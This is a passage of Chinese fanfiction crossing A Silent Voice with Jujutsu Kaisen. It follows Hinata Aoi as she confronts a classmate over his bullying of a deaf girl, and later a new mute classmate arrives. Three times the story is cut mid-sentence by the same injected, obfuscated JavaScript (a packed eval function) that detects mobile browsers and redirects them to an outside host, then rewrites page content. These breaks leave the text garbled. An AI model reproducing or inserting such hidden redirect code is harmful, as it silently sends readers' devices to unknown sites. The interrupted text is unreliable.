翻来覆去的嘲讽辱骂,搞怪丑陋的大头画,他用最直白的恶意向这个看不懂眼色的女孩表达自己的讨厌也有好几天了。 让他憋屈的是西宫硝子没有被气哭,也没被气得跳脚,只是默默用自己的手帕擦干净桌子,装作什么也没发生的样子继续上课。 明明是她害的班级合唱比赛拿了个倒数第二,是她害的美代子休学不来学校上课,怎么能过得这么轻松?! 果然是看不懂眼色!那种像汽笛一样尖锐的嗓音非要开口唱歌,唯一愿意当她朋友的美代子肯定也被她气到了……都是她的错! 到底什么时候能反应过来主动离开啊?! 石田将也为了“恶作剧”已经连续几天第一个到教室了。 又努力又没有得到想要的效果。他现在是带着怒气坚持,用词也越来越过分。 时常把生活当作游戏的他已经完全把西宫硝子想像成难缠的boss,伤害不高防御很强,像一只血条很厚的低级泥巴怪,又难打又恶心人。 日向葵已经走到桌子旁边了,因为男孩的字迹过于扭曲,也是倒着对着她,所以根本看不明白他在写些什么。 还有乱七八糟的线条排列纠缠,像是表现主义艺术风格那样。 之前不是喜欢在桌子上画各种各样的奥特曼吗?我才一个多月不来就落伍了吗? 《呐喊》这种风格想不到能在小学生中流行起来啊。 人在专心做一件事情的时候确实不应该被打扰,日向葵没有因为石田将也的态度生气,而是蹲下身等待他“创作”完成。 至于为什么蹲下身……石田已经画到桌腿上了,日向葵蹲下来正好可以看到他的进度。 做坏事可以偷偷干,可以一起干,但是被人盯着干……石田将也的激情消退了。 “看什么看啊?” 他又不是第一次这样做,全班同学都知道且默认发生的,现在才想着阻止未免也有些太可笑了。 “都说了别来烦我……日,日向?!” 石田愤怒的表情凝固住了,被惊得重心不稳一屁股坐在地上,后背撞上另一边的课桌发出刺耳的声响。 又当即想起来什么,赶紧起身用手去胡乱地晕染开桌面上粉笔留下的痕迹,糊成了一片。 日向葵没想到石田将也的反应这么大,疑惑过后还是递出自己的笔记本。 「一起清扫吗?」 “啊……对、对。” 石田将也如梦初醒,像是才想起自己值日生的身份。 他们班级的分担区就是门口这条走廊,要清理地面和窗台。 女厕所比较近,日向葵拿起水桶示意自己去打水。 石田将也还站在课桌边上,有些懵地点了点头。 极速的水流冲击空桶的声音吹响了劳动的号角。等到日向葵把水打好,石田已经拿着拖把在班级门口等她了。 “其他就不用你帮忙了……那个,谢谢你帮我打水啊~” 石田将也失去了刚刚的傲气,抓了抓自己的后脑,尬笑几声,把日向葵打发进教室里休息。 日向葵感觉自己也没活动几下,但是为了不妨碍石田拖地,还是顺从地进了教室。 目前没有其他的同学到校,同学们的椅子还是整齐地摆放在桌子上。 ——除了日向葵的,还有石田“创作”的位置。 现在又多了一个地方的椅子被放下来了,石田的书包就放在那个椅子上。 日向葵走过去,刚刚桌子上粉笔的痕迹都被擦干净了,没蒸发的水迹在阳光下泛着光。 ……原来没换座位啊。 * 课间,日向葵单手托腮透过人与人的缝隙看着西宫的后脑勺,犹豫着要不要找她聊聊。 没想到植野直花转头看她,先捕捉到她的视线,并愉悦地认领了。 植野表情中带着尽力在掩饰但完全掩饰不住的欣喜,起身走到日向葵的桌前,语气中带着俏皮和调侃: “是不是想我了?一直盯着我看~” 也不等日向葵的回复,自顾自打开了话闸: “我跟你讲,你不在的这段时间,可是发生了很多的事情呢。” 确实可以看得出来,而且并不是什么好事。 空出的美代子的座位,石田大早上在西宫的桌子上涂鸦,课间总在后排打闹的男生乖巧地呆在课桌前…… 日向葵总感觉班级里压着一件事情不愿意让她看见。 当然可能是自己自我意识过剩了。 有什么事情是必须瞒着她的呢?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380286|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>植野直花很少在日向葵脸上看到茫然,忍不住调戏:“你求求我?你求求我……”我就告诉你。 她的话还没说完就被另一道怯生生的声音打断了, “那个,日向同学,班主任找你。” “……等你回来再说吧。”植野被打断后心情并不美丽。 “哦,对了。”她又紧张起来,“之前那件事情……老师知道了。” “你也是,怎么能那么直接?” “也不知道老师会不会提到这个事情,你小心点。” 什么事情? 日向葵觉得自己不像是休息了一个多月,像是直接休学了一年,连教科书都改版了。 放弃思考,日向葵先去了班主任的办公室。 办公室里没有其他的老师,只有她们班主任一个人在批改作业。 看见她敲门进来,班主任放下手中的红笔。 “小葵,你的身体状况已经听你妈妈讲过了,还是要避免一些剧烈运动。” 其实完全没必要,但是日向葵不会在妈妈同事面前去驳她的面子,点了点头。 “这一个多月的课程也落下了,但是对于你来说应该不是难事。等一会儿的课堂小测好好做一下,看看有哪些地方需要补习的。” 日向葵点点头。 “还有……”班主任有些迟疑,声音也变小了,似乎是在措辞。 “……想要为班级争光是好事,但是也不能因此剥夺了其他同学享受校园的机会……能明白吗?” 日向葵:“……” 班主任没看出来她明没明白,毕竟事情也过去一个月了,孩子忘了也正常。 但是女孩本就早熟,日向葵又比同年级大了两岁,班主任有意无意都会多说几句,想让日向葵帮他分担一些。 之前合唱排练的时候他偶然发现西宫硝子不出声音,问了几遍也不写出缘由,还是其他同学捅出来日向葵找她聊过,西宫才在笔记本上还原了两人的对话。 如果不是他发现了,到时候西宫妈妈来看合唱比赛一定会不高兴的。 他不想引起家长的不满,可能会引发一系列的麻烦事。 “就是你跟西宫之间,关于合唱比赛的事情……这对西宫还有西宫的母亲都会造成一定的伤害,我没想到你会那样做。”班主任的眼里满是不认同。 “幸亏我发现的早,事情没有变得严重……也已经都过去了,还是要好好关照西宫的,老师还是信任你的。” 日向葵再次点了点头。 「我知道了。」 * 回归第一天的信息量属实是有点大了。 日向葵站定在班级门前整理自己的思绪。 所以她十年后补种的这棵树折了对吧? 西宫硝子还是正常参与了合唱比赛,大概率班级没取得好名次,导致其他同学进一步嫌弃西宫。 然后一件件无法磨合的小事像滚雪球一样变大……所以石田才会做出早上那样的行为? 这个结果……我是要为此负责的吗? 日向葵总是站在旁观者的角度看着周围一切的发生,突然被拉入战局中心还是会束手束脚无所适从。 班主任说着让她好好照顾,其实自己只做到了口头上的叮嘱。 西宫妈妈想让西宫融入普通校园,在面临升学的这一年让西宫转学,平时也没见得多关心西宫的状态。 同学们也不可能永远对西宫保持宽容和理解,小孩子间的喜欢和不喜欢总是更加鲜明。 西宫硝子本人是很努力在交朋友,但是不得方法,很多时候在反向做功。 所有人都在拖后腿……要我力挽狂澜的吗? 日向葵现在有些理解大人口中的“摸鱼”了。 权责不清、职责不明,事情放在那里时间到了总有人会去干,工资就这么多要那么努力干嘛? 职场的那一套其实哪里都适用。 班级里突然强烈的嬉笑打闹声结束了日向葵的思考,她拉开教室门…… 14. 新生篇 日向葵解除了自己在班级门口“罚站”的状态,拉开了门,正好看到石田将也高举着手臂不知道在嘚瑟什么。 那一瞬,所有人的动作在日向葵的眼中放慢了,直至定格。 黑发刺头男孩是这一幕里当之无愧的主角。 他站在教室后面的空地手臂伸直高举过头顶,手里拿着的笔记本在他手指的力道下弯出一道折痕。 日向葵能看到他脸上的快意,而且认出了那是西宫硝子专门用来沟通的本子。 画面的右下角,西宫起身朝着石田的方向伸手想要抢回,但是石田的好兄弟——胖小子广濑柊拦住了她。 班级里只有零星几个同学在忙自己的事情。其他人或是忧虑或是乐见其成,实际都是在袖手旁观。 植野直花更是翘腿坐在自己的桌子上,明晃晃地笑着。身边的川井未希没有那么放肆,拿袖子遮掩着嘴,微皱的眉头像是看不过眼,但眸中的笑意一望见底。 只有窗帘在阻止石田将也。 窗户大开,外来的风把窗帘吹得鼓起摆出一个弧度,像是在推搡着石田,但与石田距离很远还没什么力气,下一秒就又会归于平静…… 日向葵狠狠地一拳捶在门板上,用巨大的声响彻底为这一幕按下了暂停键。 她因为想事情走过了,从前门走到后门,还差点走到别的班级,没想到从后门进恰好是最佳观影位,能看到这么一出大戏。 全班同学的目光都被响声吸引了,有胆子小的被吓了一跳,还以为是地震。 石田将也诧异地转头看日向葵,手臂也松懈放了下来。 植野直花看见日向葵进来立刻变了表情,说不出的纠结古怪,在疑惑日向葵的反应怎么这么大,又有些理亏,支支吾吾不知道怎么开口。 日向葵是个行动派。 她没有口舌与他们交流,直接走到石田将也身旁把他手里的笔记本夺下轻甩到西宫硝子的怀里。 这个班级快要烂掉了——她脑子里只剩下这一个想法。 拉起石田将也的胳膊,日向葵把他拽着离开了教室。 “喂、唉!你要干嘛?!” 石田将也现在才想起来反抗,无奈日向葵的力气更大,速度还快,很顺利地就把他拖入了走廊,然后又向老师办公室的方向去了。 植野直花他们更是不知道该做点什么,扒着门框就这样看着石田被日向葵拽远了。 被忽略的女主角西宫硝子坐立难安,她赶紧把笔记本放下趁着广濑柊愣神推开了他,从后门钻出来去追日向葵和石田。 但她的勇气也没多少余额,不敢上前,只能越走越慢,在二人的后面远远地跟着。 与走廊里一个个学生擦肩而过,石田也不好意思大呼小叫。他虽然嘴上硬,心里也是知道自己做的是不好的事情。 游戏中的勇士会为了自己的目标打倒路上遇到的各种各样的boss,并且这些目标基本都出于关乎众人的正义。 石田将也也认为自己是正义的勇士,令他朋友们感到不快的西宫硝子活该被他这样对待,但是他的正义是他畏惧说出口的,是只属于他和他朋友们的正义——他是这样认为的。 可是他没想到会有人这样强硬地反对他,硬生生就要把他拽到班主任面前揭发。 这条去办公室的道路是他曾经因为成绩不好还顽皮淘气不知道走过多少遍的,从恐惧到无所谓,直到班主任放弃与他沟通,现在恐惧以另一种理由卷土重来。 离办公室越来越近,石田心中恐惧的天平渐渐重过羞耻感,他又开始吵嚷着奋力挣脱。 日向葵不胜其烦,被石田牵扯着一下没抓住门把手,制服石田后回头正好通过门上的窗口看见班主任面前坐着一双男女。 应该是一对夫妻。 大脑摆脱了刚才冲破阈值的愤怒,日向葵眼下也有些迟疑。 班主任明显有事在忙,现在不是打报告的好时机……也给石田留点面子吧。 她看了一眼跟踪技艺并不精湛的女孩,拉着石田往天台去了。 西宫硝子不知道日向葵早就发现了她,看到自己跟踪的对象离开,暗自松了口气。 虽然被那样对待让她很难受,但她也不想看到事情闹大。 自卑告诉她同学们其实都是不错的人,只是她自己不讨喜罢了。 只是不适合当朋友罢了…… 没有继续跟在二人后面,西宫硝子转身慢慢走回班级。 * 日向葵把石田带到了楼梯与天台连接的最高一层的平台。 为了防止孩子们出事,学校的天台不只有高高的拦网,还常年锁着门。 石田将也有些劫后余生的腿软,被日向葵松开后就一下跌坐在大理石地砖上。 他身前的日向葵逆光站着,脸色自带阴沉效果加持,环着双臂就这样看着他。 日向葵不喜欢用暴力解决问题。 她只把那全力的一拳锤在门框上,忍住不会锤在石田将也的脑袋上。 「你还怎么欺负过西宫?」 “也没有啦……恶作剧什么的,扔点小玩意儿什么的……”石田吞吞吐吐,说话的声音越来越小。 「扔过什么?」 “……助听器,三对……”石田偏头不敢直视日向葵的眼睛,像被审讯室台灯闪到眼睛的嫌疑人。 「你不知道损害他人财物是需要赔偿的吗?」 「你有钱吗?」 男孩被问住了。 或许他一开始有想过捉弄同学被戳穿的后果,但一次次的纵容一次次的容忍放大了他的胃口,也再也没有思虑过一切该如何收场。 “也没多少钱吧?有什么的……”石田盘算起自己的压岁钱。 尽管家里不富裕,甚至说有点穷,但是他妈妈没有在钱上去苛待他,他花钱也没养成规划的习惯,没攒下多少。 日向一定是在吓唬我。石田想。 这些玩意儿能要多少钱?西宫家里看起来也不是多有钱,丢了助听器还能说换就换了,就算我手里赔偿的钱不够,当不了先偷偷从妈妈那里拿一些,也不是很容易被发现。 自以为想明白的石田将也说话底气也足了:“我还呗,还了你就不能告诉班主任了!” 嚣张的快要把日向葵气笑了。 「你还不起。你妈妈来了也得拿存款还。」 日向葵对石田的家庭条件有一定了解。单亲母亲拉扯两个孩子的不容易,显然没有被这个孩子感恩在心。 「不想让你妈妈来学校丢脸,就趁着无人追究离西宫远一点。」 「我猜全班就你一个人用行动欺负西宫吧?」 「只有你是会被逮捕的“罪犯”。」 倒数第二句真是猜的。 日向葵也只看到了石田在哼哧哼哧地努力。乱涂乱画别人的课桌,拿着别人的东西说扔就扔,还不知道有多少其他的恶劣行径。 石田看完大惊失色,声调都拐了弯:“怎么可能?!” 就算是犯罪也是共犯好吗?!要么他究竟在坚持些什么?他不是在帮他朋友出气吗? 「那你让他们帮你一起还钱看看。」 看看你以为的同盟军愿不愿意承担你的负债。 这不是一笔小钱,更不是爱心捐款一类的光荣事迹,日向葵可以预料到石田“众叛亲离”的悲惨结局。 一场酣畅淋漓的“活该”。 「有良心就慢慢把钱还上。」 「天天在班级后面扮演勇者去打魔王,没听说过哪个勇者会欠钱不还。」 石田将也抿住嘴唇没再说话了。 聪明人都能看出来,在这场纷争当中日向葵目前还是偏心了石田。 她如果真的站在正义的一方,应该不管三七二十一就举报石田将也,让老师和家长都看到他的所作所为,通报批评并且补偿西宫硝子所受的伤害,杀鸡儆猴,大快人心。 但是正义的一方不是西宫硝子的一方,也不是石田将也的一方。 在西宫硝子没有明确表示要让石田罪有应得的前提下,日向葵不想轻易毁掉石田将也在小学的最后一年。 只有西宫硝子有这个权力。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380287|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>二人回到教室已经是上课时间。当节课的老师看到打头阵的日向葵,也没问两个人干什么去了,直接让他们回了座位。 第一次体验“好学生优待”的石田将也脑袋里还充斥着日向葵写下的那几句话,忧心忡忡回到座位。 老师倒是有些欣慰:好啊,这孩子也懂得反思了~ 他教书育人的情怀涌出,多给了石田点回答问题的机会,并收获了一个大脑短路、抓耳挠腮的石田。 老师却很满意。 “今天石田同学表现不错。“ “虽然一道题也没答对,但也在尽力用脑子想,不像之前一站起来就说‘不会’。” “这就是‘态度’。” ”不怕不会,就怕不学。这一点大家可以向石田同学学习!” 没想到会被夸奖的石田将也有些呆滞,随后摸着脖颈尬笑两声,羞耻地低下了头。 * 一堂课结束,植野直花急不可待地去询问石田将也,迫切地想知道他跟日向葵之间到底发生了什么。 他们本来就是同桌,她上课的时候小声跟石田说话,石田却走神走的厉害,呆呆的也不知道听没听清,反正不搭理她。 她用胳膊肘怼石田将也,反而触发了他起立回答问题的开关。 以前石田上课走神的时候她确实是这样提醒他回答问题的,也没想到现在的石田连这点辨别能力都没有,就这么傻愣愣地站起来了。 还好老师正好在选择提问谁,只当石田是自告奋勇。 心虚的植野直花好心在旁边递答案,结果石田还是没听见,窘迫地用手指抠自己的裤缝,像个不会说话的电线杆一样杵着。 最后石田将也稀里糊涂地过完了这节课,还得了句夸奖。他正趴在桌子上,面朝课桌,双臂严实地挡住了自己的脸,好像在找个缝隙钻进去。 这也太丢脸了!石田在心中哀嚎。 回答不上问题其实是他的常态,今天也就是夸张了一些,还莫名其妙被老师表扬了,但是他就是感觉格外羞耻……尤其不想被日向葵看见这一切! 他刚被日向葵教训过,回来后又细思极恐,看见谁都觉得可能要害他——植野怼他那一下他感觉自己被针扎了,紧绷着神经站起来还伴有耳鸣,大脑空白一片。 “你到底是怎么了?日向跟你说什么了?” 植野用力推了石田几下,想把他的活力唤醒。 前座的川井和西宫也在竖着耳朵偷听。 “……诶呀,别烦我!”石田把头扭到过道那边,打定主意不会多说一个字。 他能说什么? 难不成真像日向葵“说”的那样让朋友们凑钱给他? 石田将也不是个笨孩子,相反,他因为从小是单亲家庭所以格外敏感,格外懂得解读别人的脸色。 他能看穿母亲佯装出的笑容,看出老师对他的期许和无奈,看懂朋友对西宫的厌恶。 但他活在自己的壳里,只看到自己想看到的,只回应自己想回应的……然后看似坚硬的壳就被日向葵三言两语捅破了。 只要他脑子转起来,不用试就知道日向葵大概率是对的。但只要不去试,就没有什么对和不对,他就可以继续缩在补好的壳里。 他不敢把友谊放上赌桌。 那是他始终认为自己拥有的东西,永远也不会主动给它变脆弱的机会。 植野直花被他的语气气到了,“什么嘛?我是在关心你诶?!” 她自己也分不清是几分关心几分私心,不过也不妨碍她因此生气。 “要不问问小葵?……算了吧?”川井未希弱弱提议。 她把植野的踌躇看在眼里,提出建议后又反驳自己,作势去拉住植野怕她真的采纳自己的建议,实则也没用多少力气。 植野直花是真的受到了川井前半句话的鼓舞,立刻觉得自己不是一个人,而是代表了两个人甚至更多人去问的,凭着一股莽劲儿就过去了。 …… 她回来拽上川井一起。 精神上的支持,不如站在她旁边让她更有底气。 15. 新生篇 班级里的孩子们都对日向葵有好感,因为她长得好看、文武双全、性格温和。 班级里的孩子们都对日向葵有倾佩,因为她不骄不馁、文武双全、妈妈还是老师。 班级里的孩子们都对日向葵有畏惧,因为她性格温和但疏离、文武双全、妈妈还是老师。 植野直花也是孩子们中的一员。 她看似跟日向葵更加亲密,可以去骚扰、调侃日向葵,其实自己也不明白她到底在日向葵心里是多高的位置。 一对上日向葵璀璨的双眸,极速膨胀的勇气像没系紧的气球,撒手就绕着圈儿跑丢了。 同学被欺负的时候坐在旁边看热闹——她当然知道这不是什么正确的行为。 ……但也不能算她在做坏事吧? 植野直花扯出一抹僵硬的笑:“小葵,那个……老师跟你聊什么了?” 她到底是气短了,不敢直接问出口,拐个弯先找了个别的话题。 「关于课业方面的。」 “啊,课业啊……这方面根本就不需要担心吧,哈哈……”她摆手吹捧了一下日向葵的聪颖,干巴巴的像是被塞了满嘴的面包糠。 身后的川井未希都听不下去了,偷偷拽她的衣摆,“小直,快上课了……”要问什么就抓紧问好吗? 植野却如蒙大赦,转着眼珠子把川井的话又重复了一遍,“啊,快上课了!” 可不是她不敢问,是快上课了,她没时间问! 压缩的好奇最后汇成了一句话—— “你觉得......西宫她怎么样?” 对面没有犹豫,「是个笨蛋,像你一样。」 “哦......”所有纷繁的思绪都凝固住了,植野直花乱飘的眼神都打直了。 “像我、像我一样吗?” 她从来没有像现在这样感受过什么是悲喜交加。 晃过神后还是“噗嗤”一声笑了,明媚地弯了眼角,“好吧~” 莫名其妙地安心下来了。 * “波澜壮阔”的一天接近了尾声,日向葵把排球放回自己的储物柜里,走出了学校。 今天出乎意料地发生一堆事情,打乱了她重获自由后的规划,就只是在体育馆里独自打了会儿排球。 跑酷训练是会占据日向葵更多的精力,但她也没有多喜欢,只有打排球的时候能真正给她带来心灵上的宁静。 排球滞空的那段时间大脑是全然专注的,看着它的腾空,想着它的落点,周围的一切都会消失。 上一秒的烦恼都不见了,下一秒的现实还没来到,世界只停留在那一刻——日向葵迷恋这种感觉。 欢乐的时光总是短暂的,在外的孩子也是要回家的,她对灰原雄他们单方面的PTSD也因为上次的营救事件缓解了不少,对于回家也少了份心理负担。 路上安静又吵闹,有各种嘈杂的声音,但没有人们交谈的声音,旁若无人的大声喊叫仿佛是孩子们的特权,旁边公园里稚嫩尖锐的嗓音盖过了汽车引擎的声响。 日向葵顺着望过去,略过那群嬉闹着排队滑滑梯的孩子们,发现了熟悉的身影。 亚麻发色的女孩孤零零地坐在公园的长椅上,低垂着头双手轻抚放在腿上的本子。 裙摆和鞋袜不知道被哪里的水浸湿,本子也是被水浸润后粘合的样子,不敢用力把它翻开。 斜阳透过遮挡打在她身上,柔软的发丝在阳光下呈现出纯正的亚麻色,越暗的地方越接近于烟粉。 她轻拿着本子翻来覆去研究了好久,不知道该怎么拯救。 日向葵没有走开,就在公园外面看着。 亲眼看着西宫从低头尝试翻页,到抬头让阳光洒满笔记本期待晒干,看着她的发色从烟粉渐变变到全部的亚麻色。 她不明白又发生了什么让这个笔记本难逃一劫,只是遵从内心走到西宫能看见她的地方。 西宫没有多余的精力跟日向葵打招呼了,她苦笑着晃了晃手里的本子,示意她已经失去了能跟日向葵交流的工具。 日向葵只是凝望她即将破碎的瞳孔,伸出双手, 「你想换个班级吗?」 ——这是她第一次朝向西宫硝子打出手语。 强撑的淡然瞬间被击碎。 大颗饱满的泪珠冲出西宫的下睫毛,顺着脸颊抵达下巴,滴落到再也吸不进去水的本子上。 她顾不上干净不干净,用前臂去胡乱地蹂躏自己的双眼,想要抹去哭泣的痕迹,嘴巴却管控不住地张开,发出意味不明的呜咽。 强烈的委屈淹没了她的心脏。 为什么不早一点对她打手语? 为什么大家都不想跟她做朋友? 她好不甘心!拼尽全力却一无所获的沉重痛苦压在她的心头,剖不开胸膛取出,只能通过哭嚎宣泄。 等到哭到彻底没了力气,西宫哽咽地吞咽口水,擦干眼泪,红肿的眼睛看向一直在等她平复情绪的日向葵。 她伸出手—— 「好。」 …… 日向葵不是脑袋一热就会做出承诺的人。 在向西宫提出那个问题的时候,她就已经想清楚大致该如何实施了。 但是具体该怎么实施,还是要看日向野子女士的操作。 就像是日向葵专属的许愿机,当晚沟通过这件事情后日向女士就着手准备把西宫硝子接到自己的班级里。 这件事只需要通过两方的同意——西宫家的同意和学校领导的同意。 而学校这边基本没什么问题,大多时候都会尊重家长的意见,所以她毫无心理负担地直接去找日向葵的班主任要来了西宫妈妈的电话号码。 背后去跟教导主任联系像是打小报告一样,她干不来这种事。 直白地跟自己的同事私聊更符合她的作风。 并且她了解自己这位同事,是个要面子又怕担责任的领导面前的乖宝宝。 只要她稍加言语刺激,对方肯定巴不得她赶紧把西宫接走,还要甩锅说一切都是她先提出来的,自己没有办法阻止。 跟西宫妈妈那边的对话就稍微费点脑筋了。这位母亲花钱给孩子换了两次助听器,都没想过去学校问问到底是发生了什么事。 又不是多富裕的家庭,看来西宫妈妈是位压力很大,还擅长给自己洗脑的可怜女人。 但是没关系,日向野子对自己的话疗很有自信。 当初多难沟通的上司她都攻克下来了,区区一位逃避现实的家长,她一定轻松拿下。 不知道日向野子是怎么办到的,没过几天西宫硝子就彻底搬离了这个教室,班级的排位复原成之前的样子,连休学的美代子都重返校园。 一切好像从未发生一样,只有日向葵身旁空出的座位诉说着曾经有人来过。 班里的同学之前都是单数,日向葵一直都没有并排的桌椅。 这次重新空出的座位老师也没有要求把它搬走,安静地不知何时才能等到下一任使用者。 …… 没隔太久。 不过是下一个崭新的星期一。 又有一位矮小的身影走上了讲台。 “欢迎新同学加入我们班级,来跟大家打个招呼吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380288|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~” 班主任眉眼含笑地看着身边的男孩。这是他打翻身仗的男主角! 前面西宫硝子被主任安排进他们班级,就是因为他们班全年级组平均分最高!氛围最好!还有日向葵这个先例。 没想到西宫竟然没有融入,被日向野子撬到了她的班级。 主任虽然没说什么,但他还是觉得自己被伤了面子。 他失去的,都要从新转学来的男孩身上拿回来! 班主任并不认为自己之前的做法有什么问题,他把事态的不如意总结到孩子们身上。 孩子们看似接受能力强,实则也幼稚、自私,不太能真正地设身处地为新同学着想。 西宫的情况也比较复杂,听力的缺陷连带着嘴巴功能受到影响。 西宫母亲还非常希望西宫可以融入正常人。他只好把西宫的座位排在班级中间,也因此减少了西宫跟日向葵接触的机会。 同类当然要跟同类在一起才能有个好的开端! 班主任深信不疑,并且很满意新来的男孩子的懂事——主动要求跟日向葵成为同桌。 这才是正解! 不同于班主任的壮志凌云,班级里同学们的脸上大多是惊讶、抵触和一丝害怕。 怎么又来了个转校生? 怎么又翻出一个笔记本? 来的是个聋人还是个哑巴? 世界像是陷入了循环一样,笔记本翻页的声音在所有人的耳中无限放大。 男孩提前写好的自我介绍展现在大家眼前。 「大家好,我叫狗卷棘。」 「我不能说话。」 「以后请多指教。」 同学们都松了口气,想着还好只是哑巴,没人注意到男孩无视所有人的目光,扫视全场锁定了日向葵的方向,直勾勾地看过去。 只看到半立起来的书籍封面。 太炽热了。 日向葵感觉自己手上的书都要被烧穿了。 她想起当初拉着石田走到办公室门口通过窗户的那一瞥……原来里面坐的是男孩的父母吗? 当时她看见男方的银发,差点认成那个男人的同窗……结果是男孩的爸爸? 总不能是因为她特意转学到这里来的吧? 就在日向葵思索的这段时间,狗卷棘已经走到她身边拉开椅子落座了。 旁边的桌椅根本就不是无主之物,是早就被人预订好的席位,轻松就能让隔壁的原住民倍感不适。 这是咒术界的孩子。日向葵警告自己。 就算是曾经共患难过,也大概率是因为咒术界才有的磨难,不能算作两人关系应该更近一步的证明。 他拥有跟那个男人相似的瞳色,跟那个男人的同学相似的发色,是一个十足的来自于咒术界的人。 不能触碰,会变得不幸。 坚持不懈给自己洗脑的日向葵头都没有歪过一下,丝毫不给狗卷棘对视的机会。 男孩早早准备好的微笑也失去用武之地——虽说本来他的微笑就没什么表现力。 宽大的口罩用于遮住他嘴角的咒纹,也严严实实地挡住了他的嘴,再怎么微笑也只能通过被嘴角牵动的苹果肌和眼睛去释放善意。 结果日向葵一个眼神都没分给他,甚至带着躲避他的意味往另一边坐了坐,使得二人之间隔出一段远超正常同桌应有的距离。 很明显的被讨厌了……狗卷棘想。 他不自禁去咬自己的下唇,慢吞吞地拿出崭新的课本装模作样在听课,其实心底藏着的愧疚卷土重来。 还没开始靠近就有些畏缩了。 16. 新生篇 清晰洪亮的讲课声在不大不小的教室中回荡。翻动书页的声音、笔尖划过纸张的声音,杂乱又井然有序。 狗卷棘第一次在这么“安静”的课堂上课。 同学们是在听讲的,不学习的人反而是异类。 再不想接收知识的学生也只是独自发呆或者打瞌睡,传纸条被发现了也能意识到是自己做的不对,顺从地接受老师的惩罚。 这是狗卷棘无法想象的学习环境。 ……这就是正常的学校吗?狗卷棘想。 在如此适合学习的情境中,他却有些晃神,忍不住回忆起之前的校园生活。 ——体术和咒术是教学的关键,文化课不过是补充常识的工具。 大多数的学科是学生眼里看起来没用的,就不会花心思去学,在课堂上打闹捣乱都是常态。 老师知道知识的用处,却无法让学生们感同身受。没背景的老师活该被欺负,有背景的老师更是对这群咒术界未来的“栋梁”放纵。 尤其是与生俱来的等级差异,御三家说的话被编写成“天理”,咒力是天赋、能力、前途的唯一衡量标准。 其余都是不值一提的,专心学习其他科目的孩子都是呆头鹅罢了。 狗卷棘也因为天生的咒力被“优待”。 他继承了狗卷家族无人想要继承的咒言术,自能吐字的那一刻就被预订好了要进入咒术学校学习。 像是濒危保护动物,又或是什么不传承就会丢失的技艺,只是为了照顾那种独特性,狗卷棘被咒术高层安排保护……但又是无人在意的保护。 出身于分崩离散的家族,又不是多么强大的咒术,没有依靠,所谓保护不过是保证他不死而已。 最好是可以当一个边缘透明人——但他又偏偏是独特的咒言术。 总有求知欲强的强迫他开口说话,被伤害到又回头记恨报复,逼到他出声反抗,又开始下一轮的循环。 狗卷棘在反复的折磨中对自己充满怀疑——他是不是这辈子都掌握不好自己的能力,永远走在伤害他人的路上? 父母期待他能掌控自身的咒力,希望他能找到同类,交到朋友……他一个也没有达成。 被咒术学校里的孩子王带头孤立的人,能交到真心的朋友吗? 在日复一日的沉默中,他的心理问题终于受到了重视。他的父母不知道通过多大的努力说服咒术高层放手,让他回归正常孩子的生活。 刚离开时狗卷棘害怕还要回去,冲动地离家出走,却幸运地遇到了日向葵。 ……然后他又一次给别人带来了不幸。 在摔下楼梯的时候他是真的想拿自己的命去换日向葵的命。他对神仙没什么概念,所以在心里高喊着“神明大人”这个统称,只祈求一次就扛不住晕厥过去了。 大概是心意够诚,骨折落在了他的身上。 他很开心,但抵消不了他的内疚。 狗卷棘决心不再去打扰日向葵,却还是被那个男人劝说动了。 “棘真是个勇敢的孩子,有好好地保护住小葵呢~” 自来熟的灰原雄对狗卷棘的称呼有些过分亲昵,并通过自己的经历和口才跟狗卷父母混熟,取得了他们的信任。 他好像很擅长恐吓和诱惑小朋友。 “这样就泄气了,那这辈子可就这样了哦!” “棘是12岁对吧?10月份出生算生日小的,正好合适跟小葵当同学。真是缘分呢~” “危险可能不在,也可能无处不在……棘不想跟小葵当朋友吗?” 不是灰原雄多会劝说,是他劝到狗卷棘的心坎上了。 她可能需要我的保护。狗卷棘想。 他给了自己一个理由去接近,沉默点头接着灰原雄的手铺下去这条路。 男人的目的达到了,弯着眼角俯身凑近。 轻飘飘的声音在狗卷棘的耳边划过: “棘可以偷偷多跟小葵说说话。” “小葵不会受任何咒力的影响——这是个秘密哦。” …… 一堂课结束,热闹的课间时间平添了几分别扭。 刚送走一个聋人,又迎来一个哑巴。之前的不愉快在孩子们的心底还是有痕迹的,不知道该怎样和新同学相处。 僵持到下一个课间,第一个按耐不住的依旧是植野直花。 对方是个男孩子,植野毫不客气地用自动笔的尾端去捅石田将也的胳膊。 “干嘛?!” 